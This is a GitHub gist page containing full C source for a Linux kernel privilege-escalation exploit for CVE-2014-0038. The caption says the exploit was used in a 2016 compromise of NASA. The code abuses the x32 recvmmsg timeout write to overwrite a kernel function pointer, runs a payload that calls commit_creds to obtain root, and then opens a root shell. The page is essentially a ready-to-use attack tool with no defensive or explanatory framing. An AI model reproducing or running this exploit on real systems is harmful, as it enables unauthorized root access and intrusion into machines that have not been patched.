Created
February 4, 2016 20:42
-
-
Save jwieder/4f99b3b799ed2b79fb5f to your computer and use it in GitHub Desktop.
CVE-2014-0038 POC script. Used in the Feb 2016 compromise of NASA.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <netinet/ip.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <time.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <sys/socket.h> | |
#include <sys/stat.h> | |
#include <sys/syscall.h> | |
#include <sys/wait.h> | |
#include <sys/mman.h> | |
#define __X32_SYSCALL_BIT 0x40000000 | |
#undef __NR_recvmmsg | |
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) | |
#define BUFSIZE 200 | |
#define PAYLOADSIZE 0x2000 | |
#define FOPS_RELEASE_OFFSET 13*8 | |
/* | |
* Adapt these addresses as needed | |
* see /boot/System.map* or /proc/kallsyms | |
*/ | |
#ifndef PTMX_FOPS | |
#define PTMX_FOPS 0xffffffff81f16f20LL | |
#define TTY_RELEASE 0xffffffff81420c30LL | |
#define COMMIT_CREDS 0xffffffff81086780LL | |
#define PREPARE_KERNEL_CRED 0xffffffff81086a00LL | |
#endif | |
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); | |
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); | |
/* | |
* Match signature of int release(struct inode*, struct file*). | |
* | |
* See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz | |
*/ | |
int __attribute__((regparm(3))) | |
kernel_payload(void* foo, void* bar) | |
{ | |
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; | |
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; | |
/* restore function pointer and following two longs */ | |
*((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; | |
*((long*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 8)) = 0; | |
*((long*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 16)) = 0; | |
/* escalate to root */ | |
commit_creds(prepare_kernel_cred(0)); | |
return -1; | |
} | |
/* | |
* Write a zero to the byte at then given address. | |
* Only works if the current value is 0xff. | |
*/ | |
void zero_out(long addr) | |
{ | |
int sockfd, retval, port, pid, i; | |
struct sockaddr_in sa; | |
char buf[BUFSIZE]; | |
struct mmsghdr msgs; | |
struct iovec iovecs; | |
srand(time(NULL)); | |
port = 1024 + (rand() % (0x10000 - 1024)); | |
sockfd = socket(AF_INET, SOCK_DGRAM, 0); | |
if (sockfd == -1) { | |
perror("socket()"); | |
exit(EXIT_FAILURE); | |
} | |
sa.sin_family = AF_INET; | |
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); | |
sa.sin_port = htons(port); | |
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { | |
perror("bind()"); | |
exit(EXIT_FAILURE); | |
} | |
memset(&msgs, 0, sizeof(msgs)); | |
iovecs.iov_base = buf; | |
iovecs.iov_len = BUFSIZE; | |
msgs.msg_hdr.msg_iov = &iovecs; | |
msgs.msg_hdr.msg_iovlen = 1; | |
/* | |
* start a seperate process to send a udp message after 255 seconds so the syscall returns, | |
* but not after updating the timout struct and writing the remaining time into it. | |
* 0xff - 255 seconds = 0x00 | |
*/ | |
printf("clearing byte at 0x%lx\n", addr); | |
pid = fork(); | |
if (pid == 0) { | |
memset(buf, 0x41, BUFSIZE); | |
if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { | |
perror("socket()"); | |
exit(EXIT_FAILURE); | |
} | |
sa.sin_family = AF_INET; | |
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); | |
sa.sin_port = htons(port); | |
sleep(0xfe); | |
printf("waking up parent...\n"); | |
sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa)); | |
exit(EXIT_SUCCESS); | |
} else if (pid > 0) { | |
retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr); | |
if (retval == -1) { | |
printf("address can't be written to, not a valid timespec struct!\n"); | |
exit(EXIT_FAILURE); | |
} | |
waitpid(pid, 0, 0); | |
printf("byte zeroed out\n"); | |
} else { | |
perror("fork()"); | |
exit(EXIT_FAILURE); | |
} | |
} | |
int main(int argc, char** argv) | |
{ | |
long code, target; | |
int pwn, i, pids[3]; | |
/* Prepare payload... */ | |
printf("preparing payload buffer...\n"); | |
code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0); | |
memset((void*)code, 0x90, PAYLOADSIZE); | |
code += PAYLOADSIZE - 1024; | |
memcpy((void*)code, &kernel_payload, 1024); | |
/* | |
* Now clear the three most significant bytes of the fops pointer | |
* to the release function. | |
* This will make it point into the memory region mapped above. | |
*/ | |
printf("changing kernel pointer to point into controlled buffer...\n"); | |
target = PTMX_FOPS + FOPS_RELEASE_OFFSET; | |
for (i = 0; i < 3; i++) { | |
pids[i] = fork(); | |
if (pids[i] == 0) { | |
zero_out(target + (5 + i)); | |
exit(EXIT_SUCCESS); | |
} | |
sleep(1); | |
} | |
printf("waiting for timeouts...\n"); | |
printf("0s/255s\n"); | |
for (i = 10; i <= 250; i += 10) { | |
sleep(10); | |
printf("%is/255s\n", i); | |
} | |
for (i = 0; i < 3; i++) { | |
waitpid(pids[i], 0, 0); | |
} | |
/* ... and trigger. */ | |
printf("releasing file descriptor to call manipulated pointer in kernel mode...\n"); | |
pwn = open("/dev/ptmx", 'r'); | |
close(pwn); | |
if (getuid() != 0) { | |
printf("failed to get root :(\n"); | |
exit(EXIT_FAILURE); | |
} | |
printf("got root, enjoy :)\n"); | |
return execl("/bin/bash", "-sh", NULL); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment